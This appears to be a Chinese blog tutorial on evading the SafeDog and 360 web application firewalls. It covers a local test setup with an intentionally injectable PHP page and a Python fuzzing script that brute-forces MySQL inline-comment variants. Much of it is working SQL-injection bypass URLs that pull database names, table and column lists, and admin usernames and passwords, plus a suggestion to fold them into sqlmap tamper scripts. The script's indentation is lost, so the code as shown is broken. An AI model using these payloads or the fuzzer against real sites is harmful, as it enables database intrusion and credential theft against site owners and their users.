0×00 前言

在我刚接触安全这块时候遇到注入有WAF的网站时候无从下手,寻找各种有关绕过waf的文章,在网页浏览器上使用SQL语句为了绕过WAF变了个法加了些特殊的数字注释符就懵了,当然最后经过精心构造的SQL语句,数据库必须也得能识别并执行。本文主要介绍如何在本地安装软WAF并使用Python写的Fuzz脚本自动化绕过WAF并结合跑出来的Payload语句绕过安全防护软件。文章写的比较细主要分享下,更多细节方面请参考上篇文章 全方位绕过软WAF攻略

找一些奇葩的语句还可以执行的,或者自己能构造的,说的简单点就和密码爆破一样有些人字典强就可以扫到各种强悍的弱口令,Fuzz跑组合就有姿势了。

0×01 安全狗安装

访问:http://www.safedog.cn/website_safedog.html

选择自己的平台和web容器,我的是windows平台,Apacheweb容器,所以我就下载windows apache版

image.png

这里自定义路径,将开机自启动关闭

image.png 

image.png 

如果是使用phpstudy的话,请将运行模式改成系统服务,不然前面安全狗的插件会安装不上

image.png 

0×02 安全狗卸载

这里讲下细节部分卸载安全狗后出现的问题,启动Apache会发生错误:

image.png


在Apache的conf目录下有这样一个文件,SafeDogSiteApacheFilter.Conf,当然当您卸载以后可能这个文件也随之删除了,但是http.conf文件中还有这样一段:Include “d:/wamp/apache24/conf/SafeDogSiteApacheFilter.Conf”,我们只需要删除这段话就可以让apache成功的启动了

image.png 

SQL注入代码


<?php

header('content-type:text/html;chaset=utf-8');

ini_set('display_errors',0);

$mysqli = new mysqli('localhost', 'root','root','fkt');

$sql = "select * from new where id=".$_GET["id"];

$result = $mysqli->query($sql);

if($result === false){//执行失败

    echo $mysqli->error;

    echo $mysqli->errno;

}

echo '<hr><table border="1px" align="center">';

echo '<tr><th>ID</th><th>a</th><th>fkt</th></tr>';

while($row = $result->fetch_assoc()){

echo '<tr>';

    echo '<td>'.$row['id'].'</td>';

    echo '<td>wait</td>';

    echo '<td>'.$row['content'].'</td>';

    echo '</tr>';

}

echo '</table>';

$mysqli->close();

?>

mysql语句


mysql> create database fkt;

Query OK, 1 row affected (0.00 sec)

mysql> use fkt;

Database changed

mysql> CREATE TABLE new(

    ->     id int not null,

    ->     content char(20)

    -> );

Query OK, 0 rows affected (0.19 sec)

mysql> insert into new

    -> values(

    -> '1','xiaobai');

Query OK, 1 row affected (0.02 sec)

0×03 mysql模拟注入查询

mysql的注释有三种方式:

1、块注释:/*  ….. */

2、行注释:#

3、行注释:– (–%20,注意后面有一个空格,与SQL标准稍有差别)

自MySQL3.23 版以来,可在C 风格的注释中“隐藏” MySQL特有的关键字,注释以“/ * !”而不是以“ / *”起头 

现在我们在mysql命令行中执行一下SQL语句:


Select * from news where id=1

Select * from news /*!where*/id=1

我们来看下在命令行下执行的结果:

image.png 

还是可以正常的查询出内容,我们在mysql命令行中进行下联合查询注入:Order by N


Select * from new where id =1 order by 1

Select * from new where id =1 order by 2

Order by 测试出字段为2:

image.png 

使用mysql联合查询步骤,模拟SQL注入回显数据


select * from new where id=1 union all select null,null;

select * from new where id=1 and 1=2 union all select null,null;

select * from new where id=1 and 1=2 union all select user(),null;

image.png

这样也是能正常查询出来的

mysql> select * from new where id=1 and 1=2 union all select /*!user*//*!()*/,null;

image.png

我们在浏览器上通过内联注释注入一下看看会不会被拦截,还是被拦截了,老版本的安全狗可以通过内联注释绕过所以咱们今天Fuzz自动化Bypass的思路就是结合这个内联注释,加一些特殊符号,以及url编码来进行对安全狗的绕过

http://192.168.30.129/fuzz/index.php?id=1/*!union*//*!select*/1,2 

image.png

0×04 Fuzz自动化bypass

代码比较简洁我就直接给上注释了这样看得清晰点,只要是在释符号里面就可以包括任意特殊的符号等,挡住WAF的视线这样说更明白点。列如: /*!union<FUZZ_HERE>select*/

Fuzz脚本代码如下:

image.png

注意底部我的SQL查询的页面中有wait这个字符,没有wait的话你就看看”正常的页面在有啥必出现的字符 改了就行或者在加个else print (”未过狗”) 

code如下:


#encoding=utf-8

#实现思路;

#不被拦截的页面上会出现字符“wait”

#被拦截的不会,使用for循环请求并检查返回的页面中是否存在该字符即可。

import requests

#引入请求模块

url = "http://127.0.0.1/index.php?id=1";

#定义目标

Fuzz_a = ['/*!','*/','/**/','/','?','~','!','.','%','-','*','+','=']

Fuzz_b = ['']

Fuzz_c = ['%0a','%0b','%0c','%0d','%0e','%0f','%0h','%0i','%0j']

FUZZ = Fuzz_a+Fuzz_b+Fuzz_c

#配置fuzz字典

header = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0'}

#设置请求的headers

for a in FUZZ:

pass

for b in FUZZ:

pass

for c in FUZZ:

for d in FUZZ:

pass

for e in FUZZ:

pass

PYLOAD = "/*!union"+a+b+c+d+e+"select*/ 1,2"

urlp = url+PYLOAD

res = requests.get(urlp,headers=header)

#使用for排列组合fuzz字典并请求页面

if 'wait' in res.text:

print ("[*]URL:"+ urlp +"过狗!")

f=open('result.txt','a')

f.write(urlp+"\n")

f.close

#如果返回的页面中包含wait字符,则打印并写出过狗payload。

将这段代码放进kali linux,或者windows系统需要安装pip模块python2.7即可然后运行一下

image.png

在运行之前一定要将cc防护关闭, 或者把IP黑名单关掉Fuzz过快容易被封IP 

在windows系统上运行几分钟后,会出现一个叫result.txt的文件,里面就是我们跑出来的姿势了

image.png

kali运行结果如下

image.png 

随便取一个姿势出来看看姿势有了

http://192.168.30.129/fuzz/index.php?id=1/*!union/*!/*!*//*!select/*!/*!*/1,2 

image.png 

我们来手工绕过下吧!

http://192.168.30.129/fuzz/index.php?id=1/*!union/*!/*!*//*!select/*!/*!*//*!user()/*!/*!*/,2 

image.png 

这样又被拦截了,“你不是说绕过了安全狗了吗?”。当然已经绕过了,需要这样写语句

http://192.168.30.129/fuzz/index.php?id=1/*!union/*!/*!*//*!select/*!/*!*//*!user/*!/*!()*/,2 

image.png 

http://192.168.30.129/fuzz/index.php?id=1/*!union/*!/*!*//*!select/*!/*!*//*!user/*!/*!()*/,/*!database/*!()*/ 

image.png 

http://localhost/fuzz/index.php?id=1/*!and/*!/*!*//*!1=2/*!/*!*//*!UNION/*!/*!*//*!ALL/*!/*!*//*!SELECT/*!/*!*//*!group_concat(table_name)/*!/*!*/,NULL/*!from/*!/*!*//*!information_schema.tables/*!/*!*//*!where/*!/*!*//*!table_schema=/*!/*!*//*!database/*!/*!()*/ 

image.png 

http://localhost/fuzz/index.php?id=1/*!and/*!/*!*//*!1=2/*!/*!*//*!UNION/*!/*!*//*!ALL/*!/*!*//*!SELECT/*!/*!*//*!group_concat(column_name)/*!/*!*/,NULL/*!from/*!/*!*//*!information_schema.columns/*!/*!*//*!where/*!/*!*//*!table_name=/*!/*!*//*!"admin"/*!/*!*/ 

image.png 

获取出了admin表的字段

http://localhost/fuzz/index.php?id=1/*!and/*!/*!*//*!1=2/*!/*!*//*!UNION/*!/*!*//*!ALL/*!/*!*//*!SELECT/*!/*!*//*!group_concat(concat(user,0x2c,pwd))/*!/*!*/,NULL/*!from/*!/*!*//*!admin/*!/*!*/ 

image.png 

360主机卫士Fuzz

同样的我们来测试下360主机卫士 

image.png

Fuzz匹配到的语句

image.png

http://192.168.30.135/fuzz/index.php?id=1/*!union/*!/*!/*!%0d%0dselect*/ 1,2 取一个姿势试试完全可以

image.png 

这样就完全没问题了!姿势有了,当然也可以写入到Sqlmap的Tamper脚本上,Copy\slqmap\tamper目录下文件 ,按照他的规则,照着改下就行了

最后附上一个过360主机的脚本 可以参考 按照如下写法

image.png

image.png

结尾:

文章只是抛砖引玉了下,主要是个思路学习过程,使用Pyhton脚本结合了下Mysql内联注释定义了一些特殊符号相当给脚本配合了一个字典达到Fuzz最终的效果,完了之后 也可以对比一下,看一下能过的Fuzz有没有特点的规律 总结一下。当然也可以自己在自定义一些,在测试其他的软WAF不局限于以上这些内容。

*本文原创作者:FK_T